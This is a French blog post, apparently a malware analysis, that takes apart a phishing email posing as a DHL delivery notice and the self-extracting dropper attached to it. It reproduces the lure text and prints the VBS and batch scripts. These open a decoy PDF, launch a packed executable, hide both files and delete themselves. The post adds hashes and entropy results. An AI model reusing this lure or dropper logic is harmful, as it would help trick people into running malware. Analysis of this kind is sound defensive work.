Quel ne fut pas ma joie d’ouvrir ma boite aux lettres et de tomber sur une facture envoyée par “sales@meyda.com”. Une sombre histoire de facturation.
Dear customer, In your adress received parcel weight 6,5 lb. Our company’s courier couldn’t make the delivery of parcel. REASON: Postal code contains an error DELIVERY STATUS: sort order SERVICE: One-day Shipping NUMBER OF YOUR PARCEL: in label FEATURES: No Label is enclosed to the letter. To get it you need to print a label231486.pdf and go to the address specified in the notice. Password to arhive - g4E6A8qu7aPTdm8X3*NGPTwv7. An additional information: If the parcel isn’t received within 10 working days our company will have the right to claim compensation from you for it’s keeping in the amount of $9.12 for each day of keeping of it. Thank you for using our services. The best regard DHL.com. __________ Information from ESET NOD32 Antivirus, version of virus signature database 9729 (20140427) __________ The message was checked by ESET NOD32 Antivirus. http://www.eset.com/us/
Fichtre, un problème de facturation… Heureusement je ne risque rien, le fichier semble passé à l’antivirus :).
Bref j’ouvre l’«arhive» avec le mot de passe indiqué (sans le «.») et je me retrouve avec un fichier .pdf ……….exe :) Bon jusque là… pas trop impressionné. Même la transparence sur l’icone est dégueulasse. On le renomme en .bin et on avance.
Au détour d’un strings on découvre que cela semble être un RAR self extractible.
$ strings label231486.bin | grep SFX WINRAR.SFX d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb name="WinRAR SFX" <description>WinRAR SFX module</description>
Une fois ce SFX décompressé bêtement avec 7Zip on tombe enfin sur quelque chose qui peut nous amuser. 4 fichiers;
$ ls -l total 360 -rw-r--r-- 1 thanat0s thanat0s 198144 May 15 04:30 1.exe -rw-r--r-- 1 thanat0s thanat0s 158601 May 15 04:30 1.pdf -rw-r--r-- 1 thanat0s thanat0s 229 May 15 04:30 run.bat -rw-r--r-- 1 thanat0s thanat0s 152 May 15 04:30 run.vbs $ md5sum * d9f2513d33d35e707100a9ebe08df445 1.exe 3f865974f9efc56e905068b5d78ad93f 1.pdf 99903069929fed9cc742954b54bd67a3 run.bat 2942209f00520bcf05591df05880e9fb run.vbs
Bon, on au vu des scripts, on se doute que le SFX doit pouvoir lancer le script visual basic .vbs. Le seul but dans la vie de ce vbs étant de lancer le .bat
On error Resume Next dim oShell set oShell = WScript.CreateObject("Wscript.Shell") oShell.Run "run.bat", 0, false set oShell = Nothing
Le .bat s’occupe de virer ce qui pourrait être existant, de renommer le pdf et l’exe et ensuite, d’une part de lancer le pdf, histoire de satisfaire le bon père de famille qui a cliqué sur ce malware en affichant quelque chose. Et d’autre part de lancer le fameux exe afin d’aller dropper le malin.
$ cat run.bat del label231486.pdf /q del 2.exe /q copy 1.pdf label231486.pdf copy 1.exe 2.exe del 1.pdf /q del 1.exe /q start label231486.pdf start 2.exe attrib +h +s label231486.pdf attrib +h +s 2.exe del run.vbs /q del %0 /q
Le pdf et l’exe sont enfin «caché» au mieux en prenant l’attribut fichier «system» et «hidden» et on se débarrasse du vbs et du .bat (le %0).
Aucuns doutes à avoir l’executable sent le packing au vue de l’entropie et de la taille du segment de data par rapport a celle du code.
$ peentro.py 1.exe Section Entropy Bytes Size MD5 Remark .text 6.12 7 151873 d1c4be93ec1c3acdbff8215b120ed235 .rdata 5.39 6 3072 51a9ebbdbfb136f59f7fba6434f29124 .data 7.80 8 840904 f5412cd2ef512ff317af7a8a7cacb342 High Entropy .rsrc 6.90 7 25128 04e8378117ba7cdd3003a3c787c7c216
Un coup de rabin2 permet de confirmer que sur 270 strings, il n’y a pas une string potable là dedans.
$ rabin2 -z 1.exe … addr=0x000fbdbf off=0x0002ffbf ordinal=258 sz=51 len=102 section=.rsrc type=W string=1Yle IdLe43 Rp19I2P7 exls b33x17 s1267 L92 BQ2OKi1 addr=0x000fbe28 off=0x00030028 ordinal=259 sz=34 len=68 section=.rsrc type=W string= Tu280n5 g18a LHd u3bf57 TOU4322x addr=0x000fbe7a off=0x0003007a ordinal=260 sz=20 len=40 section=.rsrc type=W string=T0rD w5697krr laBwQ addr=0x000fbec3 off=0x000300c3 ordinal=261 sz=35 len=70 section=.rsrc type=W string=!U98P4 j1h190 b26i0 q5aY03 NtD3003 addr=0x000fbf21 off=0x00030121 ordinal=262 sz=21 len=42 section=.rsrc type=W string=Gs7528 Q4jNbhF6 qtWy addr=0x000fbf7b off=0x0003017b ordinal=263 sz=17 len=34 section=.rsrc type=W string=eyY k1k0m90G lLs addr=0x000fbfbb off=0x000301bb ordinal=264 sz=41 len=82 section=.rsrc type=W string='V0MDzu7 AU5 FKY r4eK647p Qg6Ih1B c49306 addr=0x000fc001 off=0x00030201 ordinal=265 sz=25 len=50 section=.rsrc type=W string=Mu9X6Y ur76s5 ezrc9 uao2 addr=0x000fc069 off=0x00030269 ordinal=266 sz=29 len=58 section=.rsrc type=W string=FFjr M73x H58 y0N7X7J KJ0279 addr=0x000fc0ac off=0x000302ac ordinal=267 sz=34 len=68 section=.rsrc type=W string= U2Fx0PC S2A16 i9F3 jO11H42 h1w56 addr=0x000fc120 off=0x00030320 ordinal=268 sz=36 len=72 section=.rsrc type=W string="e3B tZMYb0a d4F1f1 W58 Q8s D0IR3k7 addr=0x000fc176 off=0x00030376 ordinal=269 sz=22 len=44 section=.rsrc type=W string=wUqpx3J eqQrD6 f0tnD2 addr=0x000fc1d7 off=0x000303d7 ordinal=270 sz=53 len=106 section=.rsrc type=W string=3ret6 B9FOMm XPC5 O847opt I151Lq ZQ0P tyb50 a2y71494
La suite ca sera donc olly :)
Super ces petits cas pratiques, j’attends la deuxième partie avec impatience !
PS : et merci pour les articles sur le rabin, c’est super intéressant et bien expliqué :)
Keep going!